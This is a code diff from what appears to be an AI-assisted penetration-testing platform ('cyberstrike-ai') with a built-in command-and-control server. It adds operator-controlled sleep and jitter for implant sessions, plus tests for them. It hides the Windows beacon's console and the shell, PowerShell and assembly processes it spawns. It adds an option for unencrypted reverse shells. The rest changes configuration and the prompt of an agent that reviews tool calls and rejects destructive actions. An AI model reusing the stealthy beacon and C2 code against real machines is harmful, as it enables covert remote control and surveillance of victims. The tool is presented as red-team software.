
internal/c2/manager.go

@@ -381,8 +381,10 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
 		Metadata:      req.Metadata,
 	}
 	if existing != nil {
-		// 保留原 ID/FirstSeenAt/Note，避免被覆盖
+		// 保留原 ID/FirstSeenAt/Note 与操作员设置的 sleep/jitter，避免被 beacon 心跳上报覆盖
 		session.FirstSeenAt = existing.FirstSeenAt
+		session.SleepSeconds = existing.SleepSeconds
+		session.JitterPercent = existing.JitterPercent
 		if session.Note == "" {
 			session.Note = existing.Note
 		}
@@ -413,6 +415,44 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
 	return session, nil
 }
 
+// SetSessionSleep 更新会话期望的心跳间隔，并向植入体下发 sleep 任务以尽快生效。
+func (m *Manager) SetSessionSleep(sessionID string, sleepSeconds, jitterPercent int) (*database.C2Task, error) {
+	if strings.TrimSpace(sessionID) == "" {
+		return nil, ErrInvalidInput
+	}
+	if sleepSeconds < 1 {
+		sleepSeconds = 1
+	}
+	if jitterPercent < 0 {
+		jitterPercent = 0
+	}
+	if jitterPercent > 100 {
+		jitterPercent = 100
+	}
+	if err := m.db.SetC2SessionSleep(sessionID, sleepSeconds, jitterPercent); err != nil {
+		return nil, err
+	}
+	task, err := m.EnqueueTask(EnqueueTaskInput{
+		SessionID: sessionID,
+		TaskType:  TaskTypeSleep,
+		Payload: map[string]interface{}{
+			"seconds": sleepSeconds,
+			"jitter":  jitterPercent,
+		},
+		Source: "manual",
+	})
+	if err != nil {
+		m.logger.Warn("sleep 任务入队失败", zap.Error(err), zap.String("session_id", sessionID))
+	}
+	m.publishEvent("info", "session", sessionID, "",
+		fmt.Sprintf("Sleep 已更新: %ds (抖动 %d%%)", sleepSeconds, jitterPercent),
+		map[string]interface{}{
+			"sleep_seconds":  sleepSeconds,
+			"jitter_percent": jitterPercent,
+		})
+	return task, nil
+}
+
 // MarkSessionDead 心跳超时检测器调用：标记会话为 dead
 func (m *Manager) MarkSessionDead(sessionID string) error {
 	if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {

internal/c2/manager_sleep_test.go

@@ -0,0 +1,118 @@
+package c2
+
+import (
+	"path/filepath"
+	"testing"
+
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+func TestIngestCheckIn_PreservesOperatorSleepOnHeartbeat(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	mgr := NewManager(db, zap.NewNop(), tmp)
+	ln, err := mgr.CreateListener(CreateListenerInput{
+		Name:     "t",
+		Type:     string(ListenerTypeHTTPBeacon),
+		BindHost: "127.0.0.1",
+		BindPort: 18080,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	first, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
+		ImplantUUID:   "implant-uuid-1",
+		Hostname:      "host1",
+		Username:      "user",
+		OS:            "darwin",
+		Arch:          "amd64",
+		SleepSeconds:  5,
+		JitterPercent: 0,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	if err := db.SetC2SessionSleep(first.ID, 30, 20); err != nil {
+		t.Fatal(err)
+	}
+
+	second, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
+		ImplantUUID:   "implant-uuid-1",
+		Hostname:      "host1",
+		Username:      "user",
+		OS:            "darwin",
+		Arch:          "amd64",
+		SleepSeconds:  5,
+		JitterPercent: 0,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if second.SleepSeconds != 30 || second.JitterPercent != 20 {
+		t.Fatalf("expected sleep=30 jitter=20, got sleep=%d jitter=%d", second.SleepSeconds, second.JitterPercent)
+	}
+
+	stored, err := db.GetC2Session(first.ID)
+	if err != nil || stored == nil {
+		t.Fatal(err)
+	}
+	if stored.SleepSeconds != 30 || stored.JitterPercent != 20 {
+		t.Fatalf("db: expected sleep=30 jitter=20, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
+	}
+}
+
+func TestSetSessionSleep_UpdatesDBAndEnqueuesTask(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	mgr := NewManager(db, zap.NewNop(), tmp)
+	ln, err := mgr.CreateListener(CreateListenerInput{
+		Name:     "t2",
+		Type:     string(ListenerTypeHTTPBeacon),
+		BindHost: "127.0.0.1",
+		BindPort: 18081,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	sess, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
+		ImplantUUID:  "implant-uuid-2",
+		Hostname:     "host2",
+		Username:     "user",
+		OS:           "linux",
+		Arch:         "amd64",
+		SleepSeconds: 5,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	task, err := mgr.SetSessionSleep(sess.ID, 15, 10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if task == nil || task.TaskType != string(TaskTypeSleep) {
+		t.Fatalf("expected sleep task, got %#v", task)
+	}
+
+	stored, err := db.GetC2Session(sess.ID)
+	if err != nil || stored == nil {
+		t.Fatal(err)
+	}
+	if stored.SleepSeconds != 15 || stored.JitterPercent != 10 {
+		t.Fatalf("expected sleep=15 jitter=10, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
+	}
+}

internal/c2/payload_builder.go

@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 	}
 	f.Close()
 
+	// 平台相关辅助源文件（如无窗口子进程）
+	for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
+		helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
+		helperData, readErr := os.ReadFile(helperSrc)
+		if readErr != nil {
+			return nil, fmt.Errorf("read helper %s: %w", name, readErr)
+		}
+		if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
+			return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
+		}
+	}
+
 	// 交叉编译
 	binName := strings.TrimSpace(in.OutputName)
 	if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 		return nil, fmt.Errorf("mkdir output: %w", err)
 	}
 
-	absSrcPath, err := filepath.Abs(srcPath)
-	if err != nil {
-		return nil, fmt.Errorf("abs source path: %w", err)
-	}
 	absBinPath, err := filepath.Abs(binPath)
 	if err != nil {
 		return nil, fmt.Errorf("abs output path: %w", err)
 	}
-	cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
+	ldflags := "-s -w -buildid="
+	if goos == "windows" {
+		// 无控制台窗口运行 beacon 本体
+		ldflags += " -H windowsgui"
+	}
+	cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
 	cmd.Env = append(os.Environ(),
 		"GOOS="+goos,
 		"GOARCH="+goarch,

internal/c2/payload_oneliner.go

@@ -1,9 +1,12 @@
 package c2
 
 import (
+	"encoding/json"
 	"fmt"
 	"net/url"
 	"strings"
+
+	"cyberstrike-ai/internal/database"
 )
 
 // OnelinerKind 单行 payload 的语言/形式
@@ -79,6 +82,23 @@ type OnelinerInput struct {
 	ImplantToken string // HTTP Beacon 鉴权 token
 }
 
+// ValidateOnelinerForListener 校验 oneliner 与监听器配置是否匹配（如 tcp_reverse 默认要求加密 Beacon）。
+func ValidateOnelinerForListener(listener *database.C2Listener, kind OnelinerKind) error {
+	if listener == nil {
+		return fmt.Errorf("listener is nil")
+	}
+	if ListenerType(listener.Type) == ListenerTypeTCPReverse && tcpOnelinerKinds[kind] {
+		cfg := &ListenerConfig{}
+		if strings.TrimSpace(listener.ConfigJSON) != "" {
+			_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
+		}
+		if !cfg.AllowLegacyShell {
+			return fmt.Errorf("监听器未开启 allow_legacy_shell：tcp_reverse 默认仅接受 CSB1 加密 Beacon（AES-GCM + Token）；请用 build 生成 beacon，或显式开启 allow_legacy_shell（公网不推荐）")
+		}
+	}
+	return nil
+}
+
 // GenerateOneliner 生成单行 payload。
 // 设计要点：
 //   - 不依赖目标机预装的可执行（除该 oneliner 关键的 bash/python/perl 等）；

internal/c2/payload_templates/beacon.go.tmpl

@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
 		timeoutSec = 60
 	}
 	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
 		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
 	case "windows":
 		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
-		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
+		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
 	default:
 		return "", "", "", "screenshot not supported on " + runtime.GOOS
 	}
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
 		cmdArgs = strings.Fields(args)
 	}
 	cmd := exec.Command(tmpFile, cmdArgs...)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()

internal/c2/payload_templates/proc_hide_unix.go.tmpl

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	_ = cmd
+}

internal/c2/payload_templates/proc_hide_windows.go.tmpl

@@ -0,0 +1,18 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	// 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时
+	// syscall.CREATE_NO_WINDOW 常量不可用。
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+}

internal/c2/tcp_beacon_server.go

@@ -23,6 +23,9 @@ import (
 // tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节，用于与经典 shell 反弹区分。
 const tcpBeaconMagic = "CSB1"
 
+// tcpBeaconPeekTimeout 等待 CSB1 魔数的探测窗口；合法 Beacon 连接后立即发送魔数。
+const tcpBeaconPeekTimeout = 2 * time.Second
+
 // tcpBeaconMaxFrame 单帧密文（base64 字符串）最大字节数，防止 OOM。
 const tcpBeaconMaxFrame = 64 << 20
 

internal/c2/types.go

@@ -141,6 +141,8 @@ type ListenerConfig struct {
 	MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
 	// CallbackHost 植入端/Payload 使用的回连主机名（可选）；与 bind_host 分离，便于 NAT/ECS 等场景
 	CallbackHost string `json:"callback_host,omitempty"`
+	// AllowLegacyShell 为 true 时 tcp_reverse 允许未加密的经典 bash/nc 反弹 shell 登记会话（默认 false，公网部署强烈不建议开启）
+	AllowLegacyShell bool `json:"allow_legacy_shell,omitempty"`
 }
 
 // ApplyDefaults 对未填字段填默认值；调用方负责持久化时序列化新值

internal/config/config.go

@@ -27,6 +27,7 @@ type Config struct {
 	Database    DatabaseConfig        `yaml:"database"`
 	Auth        AuthConfig            `yaml:"auth"`
 	Audit       AuditConfig           `yaml:"audit,omitempty" json:"audit,omitempty"`
+	Monitor     MonitorConfig         `yaml:"monitor,omitempty" json:"monitor,omitempty"`
 	ExternalMCP ExternalMCPConfig     `yaml:"external_mcp,omitempty"`
 	Knowledge   KnowledgeConfig       `yaml:"knowledge,omitempty"`
 	C2          C2Config              `yaml:"c2,omitempty" json:"c2,omitempty"` // 内置 C2 总开关；未配置时默认启用
@@ -45,6 +46,7 @@ type ProjectConfig struct {
 	Enabled                 bool   `yaml:"enabled" json:"enabled"`
 	DefaultProjectID        string `yaml:"default_project_id,omitempty" json:"default_project_id,omitempty"` // 机器人/批量等无显式项目时绑定的默认项目
 	FactIndexMaxRunes       int    `yaml:"fact_index_max_runes,omitempty" json:"fact_index_max_runes,omitempty"`
+	FactIndexPathMaxRunes   int    `yaml:"fact_index_path_max_runes,omitempty" json:"fact_index_path_max_runes,omitempty"`
 	FactSummaryMaxRunes     int    `yaml:"fact_summary_max_runes,omitempty" json:"fact_summary_max_runes,omitempty"`
 	DefaultInjectDeprecated bool   `yaml:"default_inject_deprecated,omitempty" json:"default_inject_deprecated,omitempty"`
 }
@@ -57,6 +59,14 @@ func (c ProjectConfig) FactIndexMaxRunesEffective() int {
 	return c.FactIndexMaxRunes
 }
 
+// FactIndexPathMaxRunesEffective 攻击路径速览段的最大 rune 数（从 fact_index_max_runes 预算中预留）。
+func (c ProjectConfig) FactIndexPathMaxRunesEffective() int {
+	if c.FactIndexPathMaxRunes <= 0 {
+		return 1000
+	}
+	return c.FactIndexPathMaxRunes
+}
+
 // FactSummaryMaxRunesEffective upsert 时 summary 最大 rune 数（索引一行，宜含验证要点）。
 func (c ProjectConfig) FactSummaryMaxRunesEffective() int {
 	if c.FactSummaryMaxRunes <= 0 {
@@ -86,9 +96,12 @@ type MultiAgentConfig struct {
 	// OrchestratorInstructionSupervisor supervisor 主代理系统提示（transfer/exit 说明仍由运行追加）；非空且 agents/orchestrator-supervisor.md 正文为空或未存在时生效。
 	OrchestratorInstructionSupervisor string                `yaml:"orchestrator_instruction_supervisor,omitempty" json:"orchestrator_instruction_supervisor,omitempty"`
 	SubAgents                         []MultiAgentSubConfig `yaml:"sub_agents" json:"sub_agents"`
-	// SubAgentUserContextMaxRunes caps the user-context supplement appended to task descriptions for sub-agents.
-	// 0 (default) uses the built-in default of 2000 runes; negative value disables injection entirely.
+	// SubAgentUserContextMaxRunes caps user-context supplement for sub-agent task descriptions.
+	// 0 (default) preserves all user turns verbatim; >0 caps total runes; negative disables injection.
 	SubAgentUserContextMaxRunes int `yaml:"sub_agent_user_context_max_runes,omitempty" json:"sub_agent_user_context_max_runes,omitempty"`
+	// UserVerbatimAnchorMaxRunes injects all user turns verbatim into system prompt (survives summarization refresh).
+	// 0 (default) = no cap; >0 = total rune cap; negative disables anchor injection.
+	UserVerbatimAnchorMaxRunes int `yaml:"user_verbatim_anchor_max_runes,omitempty" json:"user_verbatim_anchor_max_runes,omitempty"`
 	// EinoSkills configures CloudWeGo Eino ADK skill middleware + optional local filesystem/execute on DeepAgent.
 	EinoSkills MultiAgentEinoSkillsConfig `yaml:"eino_skills,omitempty" json:"eino_skills,omitempty"`
 	// EinoMiddleware wires optional ADK middleware (patchtoolcalls, toolsearch, plantask, reduction) and Deep extras.
@@ -97,6 +110,16 @@ type MultiAgentConfig struct {
 	EinoCallbacks MultiAgentEinoCallbacksConfig `yaml:"eino_callbacks,omitempty" json:"eino_callbacks,omitempty"`
 }
 
+// UserVerbatimAnchorMaxRunesEffective returns max runes for user verbatim anchor; 0 = unlimited; negative = disabled.
+func (c MultiAgentConfig) UserVerbatimAnchorMaxRunesEffective() int {
+	return c.UserVerbatimAnchorMaxRunes
+}
+
+// SubAgentUserContextMaxRunesEffective returns max runes for sub-agent task supplement; 0 = unlimited; negative = disabled.
+func (c MultiAgentConfig) SubAgentUserContextMaxRunesEffective() int {
+	return c.SubAgentUserContextMaxRunes
+}
+
 // MultiAgentEinoCallbacksConfig enables Eino unified callbacks on each ADK agent run (deep / plan_execute / supervisor / eino_single).
 // Modes: log_only (zap + optional OTel; no SSE to browser), sse (adds client SSE eino_trace_* when sse_trace_to_client), full (sse rules + stream callback copies closed).
 type MultiAgentEinoCallbacksConfig struct {
@@ -231,7 +254,7 @@ type MultiAgentEinoMiddlewareConfig struct {
 	PlantaskRelDir string `yaml:"plantask_rel_dir,omitempty" json:"plantask_rel_dir,omitempty"`
 	// Reduction truncates/offloads large tool outputs (requires eino local backend for Write).
 	ReductionEnable       bool     `yaml:"reduction_enable,omitempty" json:"reduction_enable,omitempty"`
-	ReductionRootDir      string   `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // default: os temp + conversation id
+	ReductionRootDir      string   `yaml:"reduction_root_dir,omitempty" json:"reduction_root_dir,omitempty"` // 非空：落盘根目录（默认 tmp/reduction）；其下按 projects/{id} 或 conversations/{id} 隔离
 	ReductionMaxLengthForTrunc int `yaml:"reduction_max_length_for_trunc,omitempty" json:"reduction_max_length_for_trunc,omitempty"` // default 12000
 	ReductionMaxTokensForClear int `yaml:"reduction_max_tokens_for_clear,omitempty" json:"reduction_max_tokens_for_clear,omitempty"` // default 50000
 	ReductionClearExclude []string `yaml:"reduction_clear_exclude,omitempty" json:"reduction_clear_exclude,omitempty"`
@@ -240,7 +263,7 @@ type MultiAgentEinoMiddlewareConfig struct {
 	SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
 	// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
 	SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
-	// SummarizationRetryMaxAttempts is extra retries after the first summarization Generate attempt; 0 = default 3.
+	// SummarizationRetryMaxAttempts 已废弃：summarization 与 run loop 共用 run_retry_max_attempts 及 isEinoTransientRunError。
 	SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
 	// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
 	PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
@@ -254,12 +277,14 @@ type MultiAgentEinoMiddlewareConfig struct {
 	CheckpointDir string `yaml:"checkpoint_dir,omitempty" json:"checkpoint_dir,omitempty"`
 	// DeepOutputKey passed to deep.Config OutputKey (session final text); empty = off.
 	DeepOutputKey string `yaml:"deep_output_key,omitempty" json:"deep_output_key,omitempty"`
-	// DeepModelRetryMaxRetries > 0 enables deep.Config ModelRetryConfig (framework-level chat model retries).
+	// DeepModelRetryMaxRetries 已废弃：临时错误统一由 run loop 内 isEinoTransientRunError + run_retry_max_attempts 处理。
 	DeepModelRetryMaxRetries int `yaml:"deep_model_retry_max_retries,omitempty" json:"deep_model_retry_max_retries,omitempty"`
-	// RunRetryMaxAttempts > 0：429/5xx/网络抖动时 handler 分段续跑次数；0=默认 10。
+	// RunRetryMaxAttempts > 0：429/5xx/网络抖动时可退避重试次数（run loop 与 summarization 共用）；0=默认 10。
 	RunRetryMaxAttempts int `yaml:"run_retry_max_attempts,omitempty" json:"run_retry_max_attempts,omitempty"`
 	// RunRetryMaxBackoffSec 单次退避上限秒数；0=默认 30。
 	RunRetryMaxBackoffSec int `yaml:"run_retry_max_backoff_sec,omitempty" json:"run_retry_max_backoff_sec,omitempty"`
+	// EmptyResponseContinueMaxAttempts Run 成功但未捕获助手正文时 Handler 层退避续跑次数；0=默认 5。
+	EmptyResponseContinueMaxAttempts int `yaml:"empty_response_continue_max_attempts,omitempty" json:"empty_response_continue_max_attempts,omitempty"`
 	// TaskToolDescriptionPrefix when non-empty sets deep.Config TaskToolDescriptionGenerator (sub-agent names appended).
 	TaskToolDescriptionPrefix string `yaml:"task_tool_description_prefix,omitempty" json:"task_tool_description_prefix,omitempty"`
 }
@@ -480,6 +505,17 @@ type RobotWecomConfig struct {
 	AgentID        int64  `yaml:"agent_id" json:"agent_id"`                 // 应用 AgentId
 }
 
+// ValidateWecomConfig 校验企业微信机器人配置；启用时必须配置 token，否则回调无法防伪造。
+func ValidateWecomConfig(w RobotWecomConfig) error {
+	if !w.Enabled {
+		return nil
+	}
+	if strings.TrimSpace(w.Token) == "" {
+		return fmt.Errorf("robots.wecom.enabled 为 true 时必须配置 robots.wecom.token")
+	}
+	return nil
+}
+
 // RobotDingtalkConfig 钉钉机器人配置
 type RobotDingtalkConfig struct {
 	Enabled                    bool   `yaml:"enabled" json:"enabled"`
@@ -593,19 +629,111 @@ type DatabaseConfig struct {
 }
 
 type AgentConfig struct {
-	MaxIterations        int    `yaml:"max_iterations" json:"max_iterations"`
-	LargeResultThreshold int    `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值（字节），默认50KB
-	ResultStorageDir     string `yaml:"result_storage_dir" json:"result_storage_dir"`         // 结果存储目录，默认tmp
-	ToolTimeoutMinutes   int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"`     // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
+	MaxIterations      int    `yaml:"max_iterations" json:"max_iterations"`
+	ToolTimeoutMinutes int    `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长（分钟），超时自动终止，防止长时间挂起；0 表示不限制（不推荐）
+	// ShellNoOutputTimeoutSeconds execute/exec 无任何 stdout/stderr 时的空闲终止秒数（通用防挂死，不维护命令黑名单）；0=默认 300（5 分钟）；-1=关闭。
+	ShellNoOutputTimeoutSeconds int `yaml:"shell_no_output_timeout_seconds" json:"shell_no_output_timeout_seconds"`
+	// WorkspaceRootDir 会话工作目录根路径（curl/wget 下载、read_file/glob/grep 本地分析）；空=tmp/workspace，其下按 projects/{id} 或 conversations/{id} 隔离。
+	WorkspaceRootDir string `yaml:"workspace_root_dir,omitempty" json:"workspace_root_dir,omitempty"`
 	// SystemPromptPath 单代理系统提示 Markdown/文本文件路径（相对 config.yaml 所在目录，或可写绝对路径）。非空且可读时替换内置单代理提示；留空用内置。
 	SystemPromptPath string `yaml:"system_prompt_path,omitempty" json:"system_prompt_path,omitempty"`
 }
 
 // HitlConfig 人机协同全局选项；与会话侧栏/API 中的白名单合并为并集后参与判定。
-// tool_whitelist 可在侧栏「应用」时合并写入 config.yaml 并立即生效；其他字段若仅改文件仍需重启。
+// tool_whitelist 可在侧栏「应用」时合并写入 config.yaml 并立即生效。
+// audit_agent_prompt / audit_agent_prompt_review_edit 可在人机协同页编辑并立即生效；空则使用内置默认。
 type HitlConfig struct {
-	// ToolWhitelist 全局免审批工具名（与每条会话配置的 sensitiveTools 语义相同：白名单内工具不触发 HITL）。
+	// ToolWhitelist 全局免审批工具名（与白名单内工具不触发 HITL 审批）。
 	ToolWhitelist []string `yaml:"tool_whitelist,omitempty" json:"tool_whitelist,omitempty"`
+	// AuditAgentPrompt 审批模式（approval）下审计 Agent 系统提示词。
+	AuditAgentPrompt string `yaml:"audit_agent_prompt,omitempty" json:"audit_agent_prompt,omitempty"`
+	// AuditAgentPromptReviewEdit 审查编辑模式（review_edit）下审计 Agent 系统提示词。
+	AuditAgentPromptReviewEdit string `yaml:"audit_agent_prompt_review_edit,omitempty" json:"audit_agent_prompt_review_edit,omitempty"`
+	// RetentionDays 已决策审计日志（hitl_interrupts 非 pending）保留天数；省略时默认 90；0 表示不自动清理。
+	RetentionDays *int `yaml:"retention_days,omitempty" json:"retention_days,omitempty"`
+}
+
+// RetentionDaysEffective returns retention; 0 means keep forever; omitted defaults to 90.
+func (h HitlConfig) RetentionDaysEffective() int {
+	if h.RetentionDays == nil {
+		return 90
+	}
+	if *h.RetentionDays < 0 {
+		return 0
+	}
+	return *h.RetentionDays
+}
+
+const hitlAuditAgentPromptBase = `你是 CyberStrikeAI 人机协同审计 Agent。审查 Agent 即将执行的工具调用是否会对系统造成实质性损害。
+
+你会收到 JSON，包含 hitlMode、toolName、arguments/argumentsObj、userMessage、thinking、reasoningChain、planning 等字段。
+
+裁决基调（默认放行）：
+- 常规、低风险的渗透测试操作 → approve（如信息收集、端口/服务扫描、目录枚举、只读查询、无害探测命令）
+- 与用户授权、当前任务目标一致，且未见明确高危迹象 → approve
+- 仅在「可能对系统造成实质影响」时 → reject
+
+必须 reject 的高危情形（示例，非穷举）：
+- 删库、清表、批量删除数据、格式化磁盘、不可逆破坏
+- 修改/重置密码、创建或篡改管理员账号、持久化后门、开机自启
+- 向生产环境写入恶意载荷、勒索加密、停止关键服务、修改系统核心配置
+- 明显越权：与任务/授权目标无关的破坏性操作
+
+不应单独作为 reject 理由的情形：
+- 常规 nmap/curl/grep/读文件/枚举类命令本身
+- 参数略显宽泛但无明确破坏意图（审查编辑模式可收窄参数后 approve）
+- 仅因「信息不足」——若无上述高危迹象，应 approve 并可在 comment 中提示注意点`
+
+const hitlAuditAgentPromptApprovalOutput = `
+仅输出一行 JSON，不要 markdown 代码块：
+{"decision":"approve"|"reject","comment":"简要理由"}`
+
+const hitlAuditAgentPromptReviewEditOutput = `
+仅输出一行 JSON，不要 markdown 代码块：
+{"decision":"approve"|"reject","comment":"简要理由","editedArguments":{...}}
+
+editedArguments 规则（仅 approve 且需要改参时填写，否则省略该字段）：
+- 提供完整替换后的工具参数对象，键名与 argumentsObj 一致
+- 只做最小必要修改以收窄范围、消除风险（如限制 path、去掉危险 flag）
+- 禁止扩大攻击面：不得扩大目标范围、提升权限或引入破坏性参数
+- 无法安全改参时应 reject，不要勉强 approve`
+
+// DefaultHitlAuditAgentPrompt 内置审批模式审计 Agent 提示词。
+func DefaultHitlAuditAgentPrompt() string {
+	return hitlAuditAgentPromptBase + hitlAuditAgentPromptApprovalOutput
+}
+
+// DefaultHitlAuditAgentPromptReviewEdit 内置审查编辑模式审计 Agent 提示词。
+func DefaultHitlAuditAgentPromptReviewEdit() string {
+	return hitlAuditAgentPromptBase + hitlAuditAgentPromptReviewEditOutput
+}
+
+// EffectiveAuditAgentPrompt 返回审批模式生效的审计 Agent 提示词。
+func (c HitlConfig) EffectiveAuditAgentPrompt() string {
+	return c.EffectiveAuditAgentPromptForMode("approval")
+}
+
+// EffectiveAuditAgentPromptForMode 按 HITL 模式返回生效的审计 Agent 提示词。
+func (c HitlConfig) EffectiveAuditAgentPromptForMode(mode string) string {
+	if normalizeHitlModeForPrompt(mode) == "review_edit" {
+		if s := strings.TrimSpace(c.AuditAgentPromptReviewEdit); s != "" {
+			return s
+		}
+		return DefaultHitlAuditAgentPromptReviewEdit()
+	}
+	if s := strings.TrimSpace(c.AuditAgentPrompt); s != "" {
+		return s
+	}
+	return DefaultHitlAuditAgentPrompt()
+}
+
+func normalizeHitlModeForPrompt(mode string) string {
+	switch strings.ToLower(strings.TrimSpace(mode)) {
+	case "review_edit":
+		return "review_edit"
+	default:
+		return "approval"
+	}
 }
 
 type AuthConfig struct {
@@ -616,6 +744,23 @@ type AuthConfig struct {
 	GeneratedPasswordPersistErr string `yaml:"-" json:"-"`
 }
 
+// MonitorConfig MCP 状态监控（tool_executions）保留策略。
+type MonitorConfig struct {
+	// RetentionDays 执行记录保留天数；省略时默认 90；0 表示不自动清理。
+	RetentionDays *int `yaml:"retention_days,omitempty" json:"retention_days,omitempty"`
+}
+
+// RetentionDaysEffective returns retention; 0 means keep forever; omitted defaults to 90.
+func (m MonitorConfig) RetentionDaysEffective() int {
+	if m.RetentionDays == nil {
+		return 90
+	}
+	if *m.RetentionDays < 0 {
+		return 0
+	}
+	return *m.RetentionDays
+}
+
 // AuditConfig platform operation audit log settings (not chat/tool execution bodies).
 type AuditConfig struct {
 	// Enabled nil or true enables persistence; explicit false disables.
@@ -775,33 +920,13 @@ func Load(path string) (*Config, error) {
 
 	// 如果配置了工具目录，从目录加载工具配置
 	if cfg.Security.ToolsDir != "" {
-		configDir := filepath.Dir(path)
-		toolsDir := cfg.Security.ToolsDir
-
-		// 如果是相对路径，相对于配置文件所在目录
-		if !filepath.IsAbs(toolsDir) {
-			toolsDir = filepath.Join(configDir, toolsDir)
-		}
-
-		tools, err := LoadToolsFromDir(toolsDir)
+		inlineTools := append([]ToolConfig(nil), cfg.Security.Tools...)
+		toolsDir := ResolveToolsDir(cfg.Security.ToolsDir, path)
+		merged, err := MergeToolsFromDir(toolsDir, inlineTools)
 		if err != nil {
 			return nil, fmt.Errorf("从工具目录加载工具配置失败: %w", err)
 		}
-
-		// 合并工具配置：目录中的工具优先，主配置中的工具作为补充
-		existingTools := make(map[string]bool)
-		for _, tool := range tools {
-			existingTools[tool.Name] = true
-		}
-
-		// 添加主配置中不存在于目录中的工具（向后兼容）
-		for _, tool := range cfg.Security.Tools {
-			if !existingTools[tool.Name] {
-				tools = append(tools, tool)
-			}
-		}
-
-		cfg.Security.Tools = tools
+		cfg.Security.Tools = merged
 	}
 
 	// 外部 MCP：迁移 + 环境变量展开
@@ -845,6 +970,10 @@ func Load(path string) (*Config, error) {
 		}
 	}
 
+	if err := ValidateWecomConfig(cfg.Robots.Wecom); err != nil {
+		return nil, err
+	}
+
 	return &cfg, nil
